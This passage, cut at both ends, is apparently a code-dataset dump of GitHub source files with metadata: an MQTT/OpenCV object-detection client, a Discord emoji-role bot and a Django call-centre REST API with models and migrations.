'ObjectDetection': # Detecto (based on pytorch)\n results = saved_model.predict(src)\n inference_results = []\n for i in range(len(results[0])):\n label = results[0][i]\n rect = results[1][i]\n acc = results[2][i]\n inference_results.append((label, rect, acc))\n if acc > args.threshold:\n cv.rectangle(src, (rect[0], rect[1]), (rect[2], rect[3]), (255, 0, 0), 1)\n cv.putText(src, \"{} {:.2f}\".format(label, acc), (rect[0], rect[1]-5), cv.FONT_HERSHEY_PLAIN, fontScale=1.0, color=(0, 0, 255), lineType=cv.LINE_AA)\n dst = src\n \n elif command == 'HistgramEqualization':\n grey = cv.cvtColor(src, cv.COLOR_BGR2GRAY)\n dst = cv.equalizeHist(grey)\n \n elif command == 'SobelFilter':\n gray = cv.cvtColor(src, cv.COLOR_BGR2GRAY)\n dst = cv.GaussianBlur(gray, (3, 3), 0)\n xy = params[0]\n if (xy == 'x'):\n dst = cv.Sobel(dst, cv.CV_8UC1, 1, 0, ksize=5)\n elif (xy == 'y'):\n dst = cv.Sobel(dst, cv.CV_8UC1, 0, 1, ksize=5)\n \n dst = cv.cvtColor(dst, cv.COLOR_BGR2RGB)\n\n elif command == 'MorphologicalTransformation':\n gray = cv.cvtColor(src, cv.COLOR_BGR2GRAY) \n invert = params[0]\n kernel = np.ones((7, 7), np.uint8)\n dst = cv.morphologyEx(gray, cv.MORPH_OPEN, kernel)\n if invert == 'true':\n dst = cv.bitwise_not(dst) \n dst = cv.cvtColor(dst, cv.COLOR_BGR2RGB)\n\n binary_dst = cv.imencode('.jpg', dst)[1].tobytes()\n array = np.frombuffer(binary_dst, dtype=np.uint8) # JPEG data\n dst = cv.imdecode(array, cv.IMREAD_COLOR) # JPEG to mat\n\n cv.imshow(\"Viewer\", dst)\n cv.waitKey(0)\n cv.destroyAllWindows()\n\nif __name__ == \"__main__\":\n\n client = mqtt.Client(client_id=args.devicename)\n if args.username and args.password:\n client.username_pw_set(args.username, args.password)\n client.on_connect = on_connect\n client.on_message = on_message\n\n client.connect(args.ip, SERVER_PORT, keepalive=60, bind_address=\"\")\n\n try:\n client.loop_forever()\n except KeyboardInterrupt:\n quit()" }, { "alpha_fraction": 0.6484996676445007, "alphanum_fraction": 0.6625841856002808, "avg_line_length": 28.690908432006836, "blob_id": "a4167e802ec10db99da4ad04b0498ea57f3c5e60", "content_id": "d9d4eb81f55593c589854585bac6652c307b331d", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1633, "license_type": "permissive", "max_line_length": 85, "num_lines": 55, "path": "/python/mqtt_clieny.py", "repo_name": "araobp/ai-server", "src_encoding": "UTF-8", "text": "import paho.mqtt.client as mqtt\nimport cv2 as cv\nimport numpy as np\nimport argparse\nfrom detecto.core import Model\n\nimport os\nos.environ['KMP_DUPLICATE_LIB_OK']='True'\n\nSERVER_PORT = 1883\nTOPIC = 'ObjectDetection-tx'\nFILENAME = 'model_weights.pth'\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-i\", \"--ip\", help=\"mqtt server IP address\", default=\"localhost\")\nparser.add_argument(\"-u\", \"--username\", help=\"user name\", default=\"simulator\")\nparser.add_argument(\"-p\", \"--password\", help=\"password\", default=\"simulator\")\nargs = parser.parse_args()\n\nlabels = ['outlet', 'mouth', 'earth terminal']\nsaved_model = Model.load(FILENAME, labels)\n\ndef on_connect(client, userdata, flags, rc):\n print(\"Connected\")\n client.subscribe(TOPIC)\n\ndef on_message(client, userdata, msg):\n array = np.frombuffer(msg.payload, dtype=np.uint8)\n img = cv.imdecode(array, cv.IMREAD_COLOR)\n \n # Detecto (based on pytorch)\n results = saved_model.predict(img)\n for i in range(len(results[0])):\n label = results[0][i]\n rect = results[1][i]\n acc = results[2][i]\n cv.rectangle(img, (rect[0], rect[1]), (rect[2], rect[3]), (255, 0, 0), 1)\n\n cv.imshow(\"ObjectDetection\", img)\n cv.waitKey(1)\n\nif __name__ == \"__main__\":\n\n client = mqtt.Client(client_id=\"OpenCvClient\")\n if args.username and args.password:\n client.username_pw_set(args.username, args.password)\n client.on_connect = on_connect\n client.on_message = on_message\n\n client.connect(args.ip, SERVER_PORT, keepalive=60, bind_address=\"\")\n\n try:\n client.loop_forever()\n except KeyboardInterrupt:\n quit()\n" }, { "alpha_fraction": 0.7642857432365417, "alphanum_fraction": 0.7714285850524902, "avg_line_length": 38.1875, "blob_id": "62dd48135eaab97aaa8c85564290af60205da770", "content_id": "97c6015ef638e8976a0ef8ae7db25df89deea469", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1260, "license_type": "permissive", "max_line_length": 229, "num_lines": 32, "path": "/README.md", "repo_name": "araobp/ai-server", "src_encoding": "UTF-8", "text": "# ai-server\n\n(Work in progress)\n\n## Goal\n\nI have been developing AR applications these days. In some cases, a combination of AR and AI seems to be suitable for work automation.\n\nIn this project, I develop image processing argorithms (incl. AI) for AR applications.\n\n```\n [AR app (based on Unity AR Foundation)]-----image---->[AI server]\n```\n\n## Construction material recognition on PyTorch\n\nI have been using OpenCV and Tensorflow Lite on Android for some projects at work. But, this time I want to run AI on my PC, with my custom datasets.\n\nThis project uses [Detecto (based on PyTorch)](https://github.com/alankbi/detecto) and [its colab demo](https://colab.research.google.com/drive/1ISaTV5F-7b4i2QqtjTa7ToDPQ2k8qEe0) for both training custom datasets and inferencing.\n\n[PTH file for outlet recognition](python/model_weights.pth) trained with my custome datasets.\n\nHere is a notebook of object detection test script with the PTH file. \n[Object detection (Jupyter Notebook)](./python/ObjectDetection.ipynb)\n\n## Scratch detection with Sobel filter\n\n[Scratch detection (Jupyter Notebook)](./python/SobelFilter.ipynb)\n\n## Morphological transformation for redusing noises\n\n[Scratch detection (Jupyter Notebook)](./python/MorphologicalTransformation.ipynb)\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.5966785550117493, "alphanum_fraction": 0.618030846118927, "avg_line_length": 27.066667556762695, "blob_id": "9cbebe0d1c7474b3c54146f68818d25bd5ddff78", "content_id": "797be283467ef70e911400b35027e87d26b485c5", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 843, "license_type": "permissive", "max_line_length": 85, "num_lines": 30, "path": "/python/test.py", "repo_name": "araobp/ai-server", "src_encoding": "UTF-8", "text": "import cv2 as cv\nimport argparse\nfrom detecto.core import Model\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"file\", help=\"file name\", type=str)\nargs = parser.parse_args()\n\nFILENAME = 'model_weights.pth'\n\nlabels = ['outlet', 'mouth', 'earth terminal']\nsaved_model = Model.load(FILENAME, labels)\n\ndef infer(img, threshold):\n results = saved_model.predict(img)\n inference_results = []\n for i in range(len(results[0])):\n label = results[0][i]\n rect = results[1][i]\n acc = results[2][i]\n inference_results.append((label, rect, acc))\n if acc > threshold:\n cv.rectangle(mat, (rect[0], rect[1]), (rect[2], rect[3]), (255, 0, 0), 1)\n\nif __name__ == \"__main__\":\n mat = cv.imread(args.file)\n infer(mat, 0.8)\n cv.imshow(\"test\", mat)\n cv.waitKey(0)\n cv.destroyAllWindows()\n\n" } ]
4
FightForDobro/HowdyHoBOT
https://github.com/FightForDobro/HowdyHoBOT
83d14221fde84944e3230cb0abbf1a1fc0089fa7
2f1ad8d68fc239233cfcffd857578e38dca5e81f
20491814107163836f4f00e35a5b86e7ccdde1cc
refs/heads/master
2020-12-08T21:58:42.163822
2020-01-11T16:50:14
2020-01-11T16:50:14
233,107,500
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6534653306007385, "alphanum_fraction": 0.7425742745399475, "avg_line_length": 49.5, "blob_id": "2369a98e2231fd17b9e8f4efec156893ecbbc153", "content_id": "8fdde6a3dddbd52d0e330b7c5a11425704eb15c3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 708, "license_type": "no_license", "max_line_length": 105, "num_lines": 10, "path": "/README.md", "repo_name": "FightForDobro/HowdyHoBOT", "src_encoding": "UTF-8", "text": "### HowdyHoBOT\n ![](https://discordapp.com/assets/20d185289ca0178b8dd30d7605f6dc72.svg)\n\nВ файле **`сonfig.py`** все настройки \n1. role_limit = 5\n\tКоличество ролей у пользователя(Программа считает только роли который можно получить нажавши на смайлик)\n2. emoji_roles = ['Python', 'Java', 'C++', 'C#', 'PHP', 'JavaScript', '1C', 'Kotlin', 'Swift'] \n\tСписок ролей который пользователь может получить\n3. special_messages_id = [665594034823102475] \n\tСписок сообщений под которыми бот будет считывать смайлики\n" }, { "alpha_fraction": 0.5403111577033997, "alphanum_fraction": 0.5601131319999695, "avg_line_length": 30.846847534179688, "blob_id": "395c81757d1bdbeb30e018201ff75485f86de2dc", "content_id": "fa6362c65f511907dd2fec6a436f6055a7f7745e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3679, "license_type": "no_license", "max_line_length": 113, "num_lines": 111, "path": "/bot.py", "repo_name": "FightForDobro/HowdyHoBOT", "src_encoding": "UTF-8", "text": "import discord\nfrom discord.ext import commands\n\nfrom random import randint\n\nimport config\n\n\n\nbot = commands.Bot(command_prefix='!')\n\n\[email protected]()\nasync def add_new_role(ctx):\n await ctx.message.delete()\n await ctx.author.send('Скинь мне название смайла и название роли через \"-\"\\n'\n 'Например Clang-C')\n\n\[email protected]\nasync def on_ready():\n print('Im Alive!')\n print(config.bot_pic)\n print(f'My name is: {bot.user.name} || My id: {bot.user.id}')\n\n\[email protected]\nasync def on_message(message):\n await bot.process_commands(message)\n\n if message.guild is None and not message.author.bot:\n messages = await message.channel.history(limit=2).flatten()\n\n if messages[1].content == 'Скинь мне название смайла и название роли через \"-\"\\nНапример Clang-C':\n emoji_name, role_title = message.content.split('-')\n\n guild = discord.utils.find(lambda g: 443823271566245888, bot.guilds)\n await guild.create_role(name=role_title, reason='Bot Power', hoist=True,\n mentionable=True, colour=discord.Colour.from_rgb(randint(0, 255),\n randint(0, 255),\n randint(0, 255)))\n\n\[email protected]\nasync def on_raw_reaction_add(payload):\n message_id = payload.message_id\n\n role_limit = 5\n emoji_roles = ['Python', 'Java', 'C++', 'C#', 'PHP', 'JavaScript', '1C', 'Kotlin', 'Swift']\n\n if message_id == 665132823564255233:\n guild_id = payload.guild_id\n guild = discord.utils.find(lambda g: guild_id, bot.guilds)\n\n if payload.emoji.name == 'CSharp':\n role = discord.utils.get(guild.roles, name='C#')\n\n elif payload.emoji.name == 'CPP':\n role = discord.utils.get(guild.roles, name='C++')\n\n else:\n role = discord.utils.get(guild.roles, name=payload.emoji.name)\n \n if role is not None:\n member = discord.utils.find(lambda m: m.id == payload.user_id, guild.members)\n\n if member is not None:\n\n if len(set(r.name for r in member.roles) & set(emoji_roles)) >= role_limit:\n await member.send(f'{member.name}, '\n f'у тебя уже есть {role_limit} роли убери одну если хочешь получить новую')\n\n else:\n await member.add_roles(role)\n\n else:\n print(f'Member: {member} not found')\n else:\n print(f'Role: {role} not found')\n\n\[email protected]\nasync def on_raw_reaction_remove(payload):\n message_id = payload.message_id\n\n if message_id == 665132823564255233:\n guild_id = payload.guild_id\n guild = discord.utils.find(lambda g: guild_id, bot.guilds)\n\n if payload.emoji.name == 'CSharp':\n role = discord.utils.get(guild.roles, name='C#')\n\n elif payload.emoji.name == 'CPP':\n role = discord.utils.get(guild.roles, name='C++')\n\n else:\n role = discord.utils.get(guild.roles, name=payload.emoji.name)\n\n if role is not None:\n member = discord.utils.find(lambda m: m.id == payload.user_id, guild.members)\n\n if member is not None:\n await member.remove_roles(role)\n\n else:\n print(f'Member: {member} not found')\n else:\n print(f'Role: {role} not found')\n\n\nbot.run(config.TOKEN, bot=True)\n" } ]
2
interharuki/news_paper_classification
https://github.com/interharuki/news_paper_classification
2e471fa2ddbbe9c791e9fcc1c0b19456fdccaab0
323ec7f98cfa88dedea72c7797babb9acc8b80e1
4c783be469866e0fe1e8fc482833ef091c2cc8e6
refs/heads/master
2020-05-04T10:47:04.739831
2019-04-02T14:32:01
2019-04-02T14:32:01
179,095,065
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5673312544822693, "alphanum_fraction": 0.5785239338874817, "avg_line_length": 21.260162353515625, "blob_id": "674415ff805a0c33825b030cb707c069a86f77b7", "content_id": "88babc62be9fe409d480bf5ad1a65557b96687ee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2997, "license_type": "no_license", "max_line_length": 105, "num_lines": 123, "path": "/news_paperclassifier/nlp_tasks.py", "repo_name": "interharuki/news_paper_classification", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu May 3 17:28:32 2018\r\n\r\n@author: inter\r\n\"\"\"\r\n\r\nimport MeCab\r\nfrom sklearn.feature_extraction.text import CountVectorizer\r\nfrom sklearn.feature_extraction.text import TfidfVectorizer\r\nimport numpy as np\r\nimport pandas as pd\r\nimport csv\r\ndef write_csv(filename, csv_list):\r\n with open(filename, 'w', newline='') as f:\r\n writer = csv.writer(f)\r\n writer.writerows(csv_list)\r\n f.close()\r\n \r\n\r\n\r\ndef _split_to_words(text):\r\n tagger = MeCab.Tagger('-O wakati')\r\n try:\r\n res = tagger.parse(text.strip())\r\n except:\r\n return []\r\n \r\n return res.split()\r\n\r\ntagger = MeCab.Tagger(\"\")\r\ndef japanese_analyzer(string):\r\n result_list = []\r\n for line in tagger.parse(string).split(\"\\n\"):\r\n splited_line = line.split(\"\\t\")\r\n if len(splited_line) >= 2 and \"名詞\" in splited_line[1]:\r\n result_list.append(splited_line[0])\r\n return result_list\r\n\r\ndef get_vector_by_text_list(_items):\r\n #count_vect = CountVectorizer(analyzer=_split_to_words)\r\n count_vect = TfidfVectorizer(analyzer=_split_to_words)\r\n #count_vect = CountVectorizer()\r\n bow = count_vect.fit_transform(_items)\r\n \r\n \"\"\"単語の数え上げ\"\"\"\r\n #CountVectorizerの実行\r\n txt_vec = CountVectorizer(analyzer=_split_to_words)\r\n txt_vec.fit(_items)\r\n \r\n #抽出した単語を確認する\r\n txt_vec.get_feature_names()\r\n \r\n\r\n #特徴量の抽出\r\n word = txt_vec.transform(_items)\r\n \r\n \r\n #特徴量ベクトルに変換(出現頻度)\r\n vector = word.toarray()\r\n\r\n vector = np.sum(vector,axis = 0)\r\n \r\n #単語の出現頻度を確認\r\n word_list = []\r\n for word,count in zip(txt_vec.get_feature_names()[:], vector[:]):\r\n #print(word, count)\r\n word_list.append([word,count])\r\n\r\n write_csv('wordlist_yomiuri.csv',word_list)\r\n \"\"\"\r\n print(_items)\r\n item_list = []\r\n for i in range (len(_items)):\r\n item_list.append(_split_to_words(_items[i]))\r\n \r\n print(item_list)\r\n \r\n\r\n\r\n\r\n \r\n count_vect = TfidfVectorizer()\r\n #count_vect = CountVectorizer()\r\n bow = count_vect.fit_transform(item_list)\r\n \"\"\"\r\n\r\n\r\n \"\"\"上手く言ったやつ\"\"\"\r\n \"\"\"\r\n count_vect = TfidfVectorizer(analyzer=_split_to_words)\r\n bow = count_vect.fit_transform(_items)\r\n \"\"\"\r\n\r\n #print(bow)\r\n #print(count_vect.vocabulary_)\r\n \r\n\r\n \r\n X = bow.todense()\r\n return [X,count_vect]\r\n\r\n\r\nif __name__ == '__main__':\r\n text='私は犬が好き'\r\n \r\n print(_split_to_words(text))\r\n\r\n \r\n\r\n \r\n\r\n #X,vector = get_vector_by_text_list(text)\r\n\r\n \r\n #print(_split_to_words(text))\r\n df = pd.read_csv('data_syasetu(without_mainichi).csv',names=('text','category'),encoding='shift_jis')\r\n print(df['category'][1360:2038])\r\n \r\n X,vector = get_vector_by_text_list(df['text'][1360:2038])\r\n #print(get_vector_by_text_list(df['text']))\r\n #print(X)\r\n #print(vector)" }, { "alpha_fraction": 0.4969243109226227, "alphanum_fraction": 0.5100294351577759, "avg_line_length": 18.112903594970703, "blob_id": "0b8e8bb2755a5177b53cec29c9a89e7d549ddf32", "content_id": "d8c2725f68f3695d4c8f3ec7a6f1b2417b941093", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3779, "license_type": "no_license", "max_line_length": 76, "num_lines": 186, "path": "/news_paperclassifier/app.py", "repo_name": "interharuki/news_paper_classification", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Apr 2 14:53:33 2019\r\n\r\n@author: inter\r\n\"\"\"\r\n\r\nfrom flask import Flask, render_template, request\r\n\r\nfrom wtforms import Form, TextAreaField, validators\r\n\r\n\r\nimport sqlite3\r\n\r\nimport os\r\n\r\nimport numpy as np\r\n\r\n\r\n\r\n# import HashingVectorizer from local dir\r\n\r\n#from vectorizer import vect\r\n\r\n\r\n\r\napp = Flask(__name__)\r\n\r\n\r\n\r\n######## Preparing the Classifier\r\n\r\ncur_dir = os.path.dirname(__file__)\r\n\"\"\"\r\nclf = pickle.load(open(os.path.join(cur_dir,\r\n\r\n 'pkl_objects',\r\n\r\n 'classifier.pkl'), 'rb'))\r\n\"\"\"\r\ndb = os.path.join(cur_dir, 'reviews.sqlite')\r\n\r\n#####################\r\nfrom sklearn.externals import joblib\r\n\r\ndef get_model_path(type='model'):\r\n model_name = \"mlp\"\r\n\r\n return 'models/'+model_name+\"_\"+type+'.pkl'\r\n\r\nmodel = joblib.load(get_model_path())\r\nclasses = joblib.load(get_model_path('class')).tolist()\r\nvectorizer = joblib.load(get_model_path('vect'))\r\nle = joblib.load(get_model_path('le'))\r\n#########################\r\n\r\ndef classify(document):\r\n\r\n\r\n X = vectorizer.transform([document])\r\n\r\n key = model.predict(X)\r\n\r\n #proba = np.max(clf.predict_proba(X))\r\n probability = model.predict_proba(X)[0]\r\n proba= np.max(probability)\r\n company_list =[\"朝日新聞\",\"毎日新聞\",\"日経新聞\",\"産経新聞\",\"読売新聞\"]\r\n \r\n return company_list[key[0]],proba,probability \r\n\r\n\r\n\r\ndef train(document, y):\r\n\r\n X = vectorizer.transform([document])\r\n\r\n model.partial_fit(X, [y])\r\n\r\n\r\n\r\ndef sqlite_entry(path, document, y):\r\n\r\n conn = sqlite3.connect(path)\r\n\r\n c = conn.cursor()\r\n\r\n c.execute(\"INSERT INTO review_db (review, sentiment, date)\"\\\r\n\r\n \" VALUES (?, ?, DATETIME('now'))\", (document, y))\r\n\r\n conn.commit()\r\n\r\n conn.close()\r\n\r\n\r\n\r\n######## Flask\r\n\r\nclass ReviewForm(Form):\r\n\r\n moviereview = TextAreaField('',\r\n\r\n [validators.DataRequired(),\r\n\r\n validators.length(min=15)])\r\n\r\n\r\n\r\[email protected]('/')\r\n\r\ndef index():\r\n\r\n form = ReviewForm(request.form)\r\n\r\n return render_template('reviewform.html', form=form)\r\n\r\n\r\n\r\[email protected]('/results', methods=['POST'])\r\n\r\ndef results():\r\n\r\n form = ReviewForm(request.form)\r\n\r\n if request.method == 'POST' and form.validate():\r\n\r\n review = request.form['moviereview']\r\n\r\n y, proba,probability = classify(review)\r\n\r\n return render_template('results.html',\r\n\r\n content=review,\r\n\r\n prediction=y,\r\n \r\n asahi_prob = round(probability[0]*100,2),\r\n \r\n mainichi_prob = round(probability[1]*100,2),\r\n \r\n \r\n nikkei_prob = round(probability[2]*100,2),\r\n \r\n sankei_prob = round(probability[3]*100,2),\r\n \r\n yomiuri_prob = round(probability[4]*100,2),\r\n \r\n \r\n\r\n probability=round(proba*100, 2))\r\n\r\n return render_template('reviewform.html', form=form)\r\n\r\n\r\n\r\[email protected]('/thanks', methods=['POST'])\r\n\r\ndef feedback():\r\n\r\n feedback = request.form['feedback_button']\r\n\r\n review = request.form['review']\r\n\r\n prediction = request.form['prediction']\r\n\r\n\r\n\r\n inv_label = {'negative': 0, 'positive': 1}\r\n\r\n y = inv_label[prediction]\r\n\r\n if feedback == 'Incorrect':\r\n\r\n y = int(not(y))\r\n\r\n train(review, y)\r\n\r\n sqlite_entry(db, review, y)\r\n\r\n return render_template('thanks.html')\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n app.run(debug=True)" } ]
2
HungrySpace/CallCenter
https://github.com/HungrySpace/CallCenter
da6d40238bf0dfe867af8a48bcf41c25e7f0b3b0
5d707aa91d8bd862c2acd87f40426fb1f4df51db
6a6b4f58214fac0925d86574f996e21839ada474
refs/heads/master
2023-06-27T19:13:37.969086
2021-07-22T10:59:06
2021-07-22T10:59:06
386,529,706
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7411104440689087, "alphanum_fraction": 0.7429819107055664, "avg_line_length": 42.297298431396484, "blob_id": "a60fc6c3777314c6c0797288a265c6a0b70f6b13", "content_id": "cf7bb296dca877ad7ace4bf6841c4ea1427642e4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1703, "license_type": "no_license", "max_line_length": 119, "num_lines": 37, "path": "/call/api/views.py", "repo_name": "HungrySpace/CallCenter", "src_encoding": "UTF-8", "text": "from rest_framework import generics, permissions, status\nfrom rest_framework.response import Response\nfrom . import serializers\nfrom rest_framework import mixins\nfrom django.core.serializers import serialize\nfrom .models import Events, Clients, ClientPhones, EmployeesPhones\nfrom django.forms.models import model_to_dict\n\n\n# добавление ивента (звонков)\nclass EventsViews(mixins.UpdateModelMixin, generics.ListCreateAPIView):\n queryset = Events.objects.all()\n serializer_class = serializers.EventsSerializer\n\n def put(self, request, *args, **kwargs):\n if request.data.get(\"id_asterisk\") and Events.objects.filter(id_asterisk=request.data['id_asterisk']).exists():\n instance = Events.objects.get(id_asterisk=request.data['id_asterisk'])\n serializer = self.get_serializer(instance, data=request.data, partial=True)\n serializer.is_valid(raise_exception=True)\n self.perform_update(serializer)\n if getattr(instance, '_prefetched_objects_cache', None):\n instance._prefetched_objects_cache = {}\n return Response(serializer.data)\n else:\n return Response(status=status.HTTP_400_BAD_REQUEST)\n\n\n# все карточки клиентов и их добавление\nclass ClientCardCreateGet(generics.ListCreateAPIView):\n queryset = Clients.objects.all()\n serializer_class = serializers.ClientsSerializer\n\n\n# изменить или удалить определенную карточку клиента\nclass ClientCardEditingDelete(generics.RetrieveUpdateDestroyAPIView):\n queryset = Clients.objects.all()\n serializer_class = serializers.ClientsTestSerializer\n\n" }, { "alpha_fraction": 0.5051282048225403, "alphanum_fraction": 0.5846154093742371, "avg_line_length": 20.66666603088379, "blob_id": "2c353c241a0e4a3db3b8d19569c96861c4325321", "content_id": "fbb53293c41f47df67cffa80168cb1c5139ea116", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 390, "license_type": "no_license", "max_line_length": 64, "num_lines": 18, "path": "/call/api/migrations/0005_events_sc.py", "repo_name": "HungrySpace/CallCenter", "src_encoding": "UTF-8", "text": "# Generated by Django 3.2.4 on 2021-07-13 10:39\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('api', '0004_auto_20210712_1058'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='events',\n name='sc',\n field=models.ManyToManyField(to='api.ClientPhones'),\n ),\n ]\n" }, { "alpha_fraction": 0.4983922839164734, "alphanum_fraction": 0.5594855546951294, "avg_line_length": 17.294116973876953, "blob_id": "91876a6c8723573f150fe5fd698af14a681e0232", "content_id": "2c08fb8df7260d295e8f9247c285a3b97703b437", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 311, "license_type": "no_license", "max_line_length": 47, "num_lines": 17, "path": "/call/api/migrations/0006_remove_events_sc.py", "repo_name": "HungrySpace/CallCenter", "src_encoding": "UTF-8", "text": "# Generated by Django 3.2.4 on 2021-07-13 10:41\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('api', '0005_events_sc'),\n ]\n\n operations = [\n migrations.RemoveField(\n model_name='events',\n name='sc',\n ),\n ]\n" }, { "alpha_fraction": 0.5681470036506653, "alphanum_fraction": 0.601837694644928, "avg_line_length": 26.20833396911621, "blob_id": "0ba54992f4995ea9bc94b810748aa3248e6eeefb", "content_id": "2e14036fefbf67e5a96ce642b4fc891edfa9c22c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 653, "license_type": "no_license", "max_line_length": 100, "num_lines": 24, "path": "/call/api/migrations/0003_auto_20210712_1005.py", "repo_name": "HungrySpace/CallCenter", "src_encoding": "UTF-8", "text": "# Generated by Django 3.2.4 on 2021-07-12 07:05\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('api', '0002_alter_events_id_employee'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='events',\n name='call_recording',\n field=models.CharField(default='puk', max_length=500),\n ),\n migrations.AlterField(\n model_name='events',\n name='id_employee',\n field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.employee'),\n ),\n ]\n" }, { "alpha_fraction": 0.703125, "alphanum_fraction": 0.7057291865348816, "avg_line_length": 37.20000076293945, "blob_id": "9437f801618f985aa1944f4dd6272e6a21f25a8b", "content_id": "71ae118372aa26e5fea9ae75fa953a37ccd03873", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 384, "license_type": "no_license", "max_line_length": 58, "num_lines": 10, "path": "/call/appCallCentr/forms.py", "repo_name": "HungrySpace/CallCenter", "src_encoding": "UTF-8", "text": "from django import forms\nfrom django.utils.translation import ugettext as _\n\n\nclass AddContactForm(forms.Form):\n first_name = forms.CharField(label=_(u'first_name'))\n last_name = forms.CharField(label=_(u'last_name'))\n email = forms.EmailField(label=_(u'email'))\n number_0 = forms.CharField(label=_(u'number'))\n description = forms.CharField(label=_(u'description'))\n\n\n" }, { "alpha_fraction": 0.602642297744751, "alphanum_fraction": 0.6219512224197388, "avg_line_length": 32.931034088134766, "blob_id": "143ad617993d6f7807a33480ffee9c288447f690", "content_id": "56ef380c20cc1555c65e975721d00091570b8017", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 984, "license_type": "no_license", "max_line_length": 134, "num_lines": 29, "path": "/call/api/migrations/0007_auto_20210713_1731.py", "repo_name": "HungrySpace/CallCenter", "src_encoding": "UTF-8", "text": "# Generated by Django 3.2.4 on 2021-07-13 14:31\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('api', '0006_remove_events_sc'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='clientphones',\n name='id_clients',\n field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='phones', to='api.clients'),\n ),\n migrations.AlterField(\n model_name='employeesphones',\n name='id_employee',\n field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='phones', to='api.employee'),\n ),\n migrations.AlterField(\n model_name='group',\n name='id_employees_phones',\n field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='group_name', to='api.employeesphones'),\n ),\n ]\n" }, { "alpha_fraction": 0.7264600992202759, "alphanum_fraction": 0.741358757019043, "avg_line_length": 33.24489974975586, "blob_id": "0e5f967fe2115e2d01dda868f72a415fbca76f6b", "content_id": "80a15d9b2be396060d780f580969fdec30a400c7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1678, "license_type": "no_license", "max_line_length": 113, "num_lines": 49, "path": "/call/api/models.py", "repo_name": "HungrySpace/CallCenter", "src_encoding": "UTF-8", "text": "from django.db import models\n\n\nclass GroupName(models.Model):\n name = models.CharField(max_length=50)\n\n\nclass Position(models.Model):\n name = models.CharField(max_length=100)\n\n\nclass Employee(models.Model):\n first_name = models.CharField(max_length=100, default='empty')\n last_name = models.CharField(max_length=100, default='empty')\n description = models.TextField(default='empty')\n id_position = models.ForeignKey(Position, on_delete=models.CASCADE)\n\n\nclass EmployeesPhones(models.Model):\n sip_phone = models.IntegerField()\n id_employee = models.ForeignKey(Employee, on_delete=models.CASCADE, related_name=\"phones\")\n\n\nclass Group(models.Model):\n id_group_name = models.ForeignKey(GroupName, on_delete=models.CASCADE)\n id_employees_phones = models.ForeignKey(EmployeesPhones, on_delete=models.CASCADE, related_name=\"group_name\")\n\n\nclass Clients(models.Model):\n first_name = models.CharField(max_length=100, default='empty')\n last_name = models.CharField(max_length=100, default='empty')\n description = models.TextField(default='empty')\n\n\nclass ClientPhones(models.Model):\n phone_number = models.CharField(max_length=13)\n id_clients = models.ForeignKey(Clients, on_delete=models.CASCADE, related_name=\"phones\")\n\n\nclass Status(models.Model):\n name = models.CharField(max_length=100)\n\n\nclass Events(models.Model):\n id_asterisk = models.FloatField()\n id_client = models.ForeignKey(Clients, on_delete=models.CASCADE)\n id_employee = models.ForeignKey(Employee, on_delete=models.CASCADE)\n id_status = models.ForeignKey(Status, on_delete=models.CASCADE)\n call_recording = models.CharField(max_length=500, default='empty')\n" }, { "alpha_fraction": 0.7628205418586731, "alphanum_fraction": 0.7628205418586731, "avg_line_length": 25, "blob_id": "24f9d6d9f30fd77359d4a0ef9c11c393292c7a83", "content_id": "8fcba06f3c081d8bcb7d2c83e6b77eee6c0988da", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 156, "license_type": "no_license", "max_line_length": 56, "num_lines": 6, "path": "/call/appCallCentr/apps.py", "repo_name": "HungrySpace/CallCenter", "src_encoding": "UTF-8", "text": "from django.apps import AppConfig\n\n\nclass AppcallcentrConfig(AppConfig):\n default_auto_field = 'django.db.models.BigAutoField'\n name = 'appCallCentr'\n" }, { "alpha_fraction": 0.6255319118499756, "alphanum_fraction": 0.6255319118499756, "avg_line_length": 18.5, "blob_id": "30fd14b0f761c1d91b53ffa22a5f828166306b7f", "content_id": "73b964fca75849fd20469332d6302f6c37b42ce7", 